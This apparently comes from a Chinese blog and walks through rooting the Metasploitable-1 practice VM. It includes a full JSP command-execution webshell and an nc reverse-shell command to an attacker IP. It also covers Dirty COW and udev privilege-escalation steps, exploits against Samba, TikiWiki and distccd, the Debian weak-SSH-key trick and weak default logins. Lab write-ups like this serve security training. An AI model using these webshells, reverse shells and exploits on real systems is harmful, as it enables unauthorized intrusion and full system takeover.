Vulnhub metasploitable-1

总结:tomcat后台getshll,脏牛提权,秘钥对对比ssh免密登录,samba cve-2007-2447,tikiwiki1.9.5,distccd后门CVE-2004-2687,cve-2009-1185提权

目录

下载地址

漏洞分析

信息收集

漏洞1

漏洞2

漏洞3

漏洞4


下载地址

使用方法:解压以后选择vmx后缀的文件,直接选择vm打开就可以了。

漏洞分析

信息收集

1.给靶机设置一个快照

2.fping -agq 192.168.31.0/24  使用fping快速扫描该网段中存活的机子

3.将靶机关闭重新扫描一下,对比少的那个ip就是靶机的ip

4.使用快照快速将靶机恢复

注:ip段要看自己的

经过扫描发现了很多端口,这里使用-sV -O重新扫一下。

 

这里发现了不少感觉可以利用的东西,这里首先我们知道了这是一个linux,然后有三个网站,然后发现其中一个是tomcat的,这个可以稍微注意注意,然后还开启了samba服务这个也是需要注意的。

漏洞1

首先查看第一个网站就是80端口。

It works!这个让我想到了一个漏洞,apache的目录遍历和任意命令执行就是CVE-2021-42013,但是经过尝试并没有发现该漏洞,后面继续寻找并没有发现什么东西,这里查看第二网站发现访问不了,然后看看第三个tomcat。

这里我首先查看有没有后台/manager,但是并没有发现,这里尝试点击旁边发现都是可以登录,这里是用弱口令tomcat/tomcat,都可以登录进去,然后再旁边发现了Tomcat Manager这里看看。

 然后再这里我们可以将木马打包上传上去

jsp的可回显马,将他打包成war上传。

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

然后我们访问

靶机ip/war包名称/jsp马完整名字

http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=id

像上面那样,但是这里查看id发现权限不搞,这里反弹shell回来看看。

http://192.168.31.214:8180/aaa/1.jsp?pwd=123&cmd=nc%20-e%20/bin/bash%20192.168.31.120%204444
//注意不要照抄看看自己的ip

 

这里很容易就反弹回来了,然后并没有发现什么有用的东西,这里看看内核。

uname -a

经过查询这里提示可以使用脏牛提权这里我们试试。

这里我们将东西下过自己先编译好

g++ -Wall -PEDANTIC -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
或者
make

这里我们将编译好的dcow复制到www目录中

然后开启Python3的临时网站

python3:python3 -m http.server
python2:python - m SimpleHTTPServer

#从那边开启那边就是根目录,我这里是/var/www

然后来到靶机这里使用wget复制过去

wget http://192.168.31.120:8000/dcow

 但是又出现一个问题就是好像执行不了。

这里接下来去想想其他解决方法,最后在/root/.ssh目录中发现了一个公钥文件,经过学长的提醒知道了这个在低版本中也是可以利用。

因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来。

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
(debian_ssh_rsa_2048_x86.tar.bz2)

 这里使用tar jxvf解压,然后来到/rsa/2048目录下面。

grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
//使用命令查找

这个对应是有一个私钥文件的,就是没有这个后缀的一个文件。

然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了。

漏洞2

还记得但是我们信息收集的东西吗,里面是还有samba服务的,这里直接使用msf试试。

我这里使用exploit/linux/samba/is_known_pipename盲打了一下,但是没有成功。

这里要善用搜索引擎,这里搜索一下看看有没有什么其他漏洞看看,这里就已经提示了cve-2007-2447,这里查看一下知道了,在msf中可以直接利用是exploit/multi/samba/usermap_script,这里我们看看。

 没想到直接就打进去了,还是一个root权限

漏洞3

这里我们继续查看80端口的网站,感觉应该还是有东西的,这里使用dirsearch扫一下目录看看吗,然后就发现了tikiwiki这个可疑目录,我记得这是一个cms,需要注意注意。

 

这进去以后,发现有一个登录的地方,直接admin/admin就可以搞进去了,但是里面没有发现什么东西,这里我们也知道了,它的版本是tikiwiki1.9.5,这个也算是很早之前的版本了,这里善用搜索引擎。

这里找到一个工具,GitHub上的

//使用git复制过来
git clone https://github.com/caique-garbim/TikiWiki_1.9.5_Exploit

//进去
cd TikiWiki_1.9.5_Exploit

//然后执行exp
//主要是自己的靶机ip
bash tikiwiki_graph_formula_exec.sh http://192.168.31.214/tikiwiki/

//然后获得反弹回来的shell
//注意这个也是靶机的ip
nc -vn 192.168.31.214 1337

这里也是直接就把shell反弹回来了。

 

接下来又是要提权了,这里还是感觉是脏牛提权,这里继续尝试,使用另一个dirty.c,这里因为靶机不知道出什么问题wget下载不过来,这里先下载到本地。

//自己可以在靶机中试试,可以的话,就直接到编译哪一步
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

//使用Python开启临时网站
python3 -m http.server

//靶机下载本机的dirty.c过来
//注意要看自己的ip
wget http://192.168.31.120:8000/dirty.c

//编译
gcc -pthread dirty.c -lcrypt -o dirty

//给权限
chmod +x dirty

//执行
./dirty

注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了

这里我的就是firefart:123456

直接另开窗口ssh连接,这里我们看到我们也是root权限了。

漏洞4

之前nmap扫的时候,还发现mysql,这里直接试试,没想到弱口令直接就进去了。

 

但是经过尝试发现好像这个现在并没有什么卵用,写不了马,执行不了命令,提不了权。

但是在重新nmap时,加入-p-,从而发现了一个新的端口

这里使用nmap自带的漏洞脚本再扫一遍,这时候发现他是有一个cve的漏洞的,这里进入msf看看。

搜索以后还是发现了一个可以利用的,这里进去利用看看。

这里发现可以但是并没有利用成功,这里查看了半天并没有发现有什么不对,这里去github中重新寻找一份工具。

这里找到一个工具,我们直接使用git给他复制过来,记得脚本是需要pwn模块的,没有可以pip安装一下。

https://github.com/k4miyo/CVE-2004-2687

这个就利用成功了,然后就是使用方法,可以-h看一下

--rhost 靶机地址 --rport 漏洞端口 --lhost 自己的ip --lport 设置回显的端口

因为不是最高权限,这里我们要提权,这里还是找一个不一样的提权,这里还是看看内核。

这里我们使用searchsploit查查看。

这里我们看到第三个,我们尝试一下这个,同时也知道了这个是cve-2009-1185.

 

我们这里就可以看到这个exp的位置。

 这里我们复制到桌面,同时使用python开启一个临时网站。

 

因为那个界面回显是不具体的,这里我们重新反弹一个shell

 

这时候我们才能wget过来,具体使用步骤可以参考linux内核提权

//wget过来
wget http://192.168.31.120:8000/8572.c

//编译
gcc -o 8572 8572.c

但是后面经过尝试是搞不了的,这里使用另一个。

和原来的操作一样复制到桌面上,使用临时网站搞过去。

然后给他执行的权限,chmod +x 8478.sh

然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。

我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVDPID 小1。我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。我们可以验证这个 PID 是否正确,使用 ps aux | grep udev 来查看 UDEVD PID

 获得pid以后,执行需要等一会,然后就是root了。

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/128892648
今日推荐